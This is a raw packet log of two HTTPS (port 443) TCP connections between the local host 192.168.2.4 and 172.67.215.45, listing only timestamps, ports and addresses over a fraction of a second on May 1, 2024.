May 1, 2024 08:37:52.496171951 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496177912 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496227026 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496299028 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496345997 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496370077 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496387005 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496407986 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496464014 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496500969 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496592045 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496601105 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496618986 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496674061 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496704102 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496731043 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496737957 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496762991 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496776104 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496813059 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496848106 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496853113 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496869087 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496895075 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496913910 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496948957 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496954918 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496990919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496990919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.497389078 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.497421980 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.497447968 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.497454882 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.497483969 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.497692108 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.497709990 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.497867107 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.497873068 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.497935057 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.497955084 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.497982025 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.497982979 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.497987986 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.498009920 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.498158932 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.498918056 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.498970985 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.498986959 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.498995066 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.499025106 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.499317884 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.499342918 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.499438047 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.499444008 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.499516964 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.499799013 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.499814034 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.499854088 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.499860048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.499882936 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.500185013 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.500205994 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.500288010 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.500288010 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.500293016 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.500813961 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.500833988 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.500844955 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.500869036 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.500875950 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.500883102 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.500943899 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.501111984 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.501127958 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.501146078 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.501146078 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.501152039 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.501209974 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.501209974 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.501868010 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.501888037 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.501951933 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.501959085 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.502106905 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.502130032 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.502171993 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.502176046 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.502232075 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.502846003 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.502868891 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.502923012 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.502926111 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.503535986 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.503566980 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.503585100 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.503624916 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.503633022 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.503663063 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.503851891 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.503870010 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.503920078 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.503925085 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.504595995 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.504611969 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.504652023 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.504657984 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.504686117 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.504708052 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.504729986 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.504798889 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.504798889 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.504803896 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.505084991 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.505100965 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.505167007 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.505167007 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.505172014 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.505517960 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.505542994 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.505585909 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.505592108 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.505623102 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.505944014 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.505969048 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.506023884 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.506023884 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.506028891 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.506536007 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.506553888 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.506652117 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.506652117 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.506659031 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.506845951 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.506866932 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.507004976 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.507009983 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.507632017 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.507653952 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.507882118 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.507886887 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508050919 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508068085 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508179903 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.508183956 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508193016 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508202076 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508275032 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.508287907 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508816004 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508842945 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.508876085 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.508879900 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.509092093 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.509111881 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.509146929 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.509154081 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.509171009 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.509872913 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.509895086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.509938955 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.509944916 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.509960890 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.510072947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.510092974 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.510133982 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.510133982 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.510142088 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.510164022 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.510694027 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.510710955 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.510756016 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.510762930 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.510786057 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.510788918 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.510814905 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.510886908 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.510886908 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.510891914 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511090040 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511106014 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511169910 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.511173964 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511720896 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511743069 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511789083 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.511795044 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511934996 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511961937 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.511996984 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.512002945 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.512022972 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.512703896 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.512721062 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.512722015 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.512810946 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.512829065 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.512836933 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.512836933 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.512846947 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.512866974 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.512871027 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.513163090 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.513613939 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.513639927 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.513706923 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.513710976 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.513734102 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.513786077 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.513803005 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.513887882 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.513887882 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.513892889 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514034986 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514059067 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514095068 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.514102936 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514131069 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.514651060 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514674902 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514714956 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.514719963 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514977932 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514995098 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.514997959 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.515041113 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.515047073 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.515069962 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.515537024 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.515553951 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.515861034 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.515866041 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516001940 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516026974 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516077042 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.516082048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516110897 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.516397953 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516421080 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516463995 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.516468048 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516514063 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.516741037 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516757011 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516916037 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516937971 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516944885 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.516948938 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.516972065 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.516977072 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.517007113 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.517520905 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.517543077 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.517584085 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.517587900 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.517719030 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.517923117 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.517944098 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.517982006 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.517987967 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.518011093 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.518542051 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.518567085 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.518778086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.518795967 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.518826008 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.518831968 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.518852949 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.518857956 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.518892050 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.519444942 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.519468069 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.519510031 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.519514084 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.519586086 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.519603014 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.519640923 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.519640923 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.519645929 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.519913912 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.519937992 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.519952059 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.519974947 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.519980907 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.520004034 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.520493031 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.520518064 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.520585060 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.520585060 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.520591021 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.520910025 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.520927906 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.520968914 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.520975113 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.520992994 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.521336079 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.521354914 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.521388054 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.521393061 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.521420002 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.521775007 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.521790981 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.521826029 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.521836042 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.521863937 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.522268057 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.522284985 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.522329092 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.522341013 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.522349119 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.522356033 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.522368908 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.522424936 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.522428989 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.522973061 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.522989988 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.523019075 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.523022890 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.523063898 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.523263931 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.523283958 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.523319960 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.523324013 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.523353100 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.523675919 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.523699045 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524060011 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.524065018 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524178982 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524193048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524243116 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.524247885 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524352074 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524374008 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524436951 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.524436951 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.524442911 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524553061 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524571896 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.524619102 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.524619102 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.524626017 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.525125027 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.525141954 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.525193930 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.525198936 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.525212049 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.525363922 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.525379896 CEST	443	49751	172.67.215.45	192.168.2.4
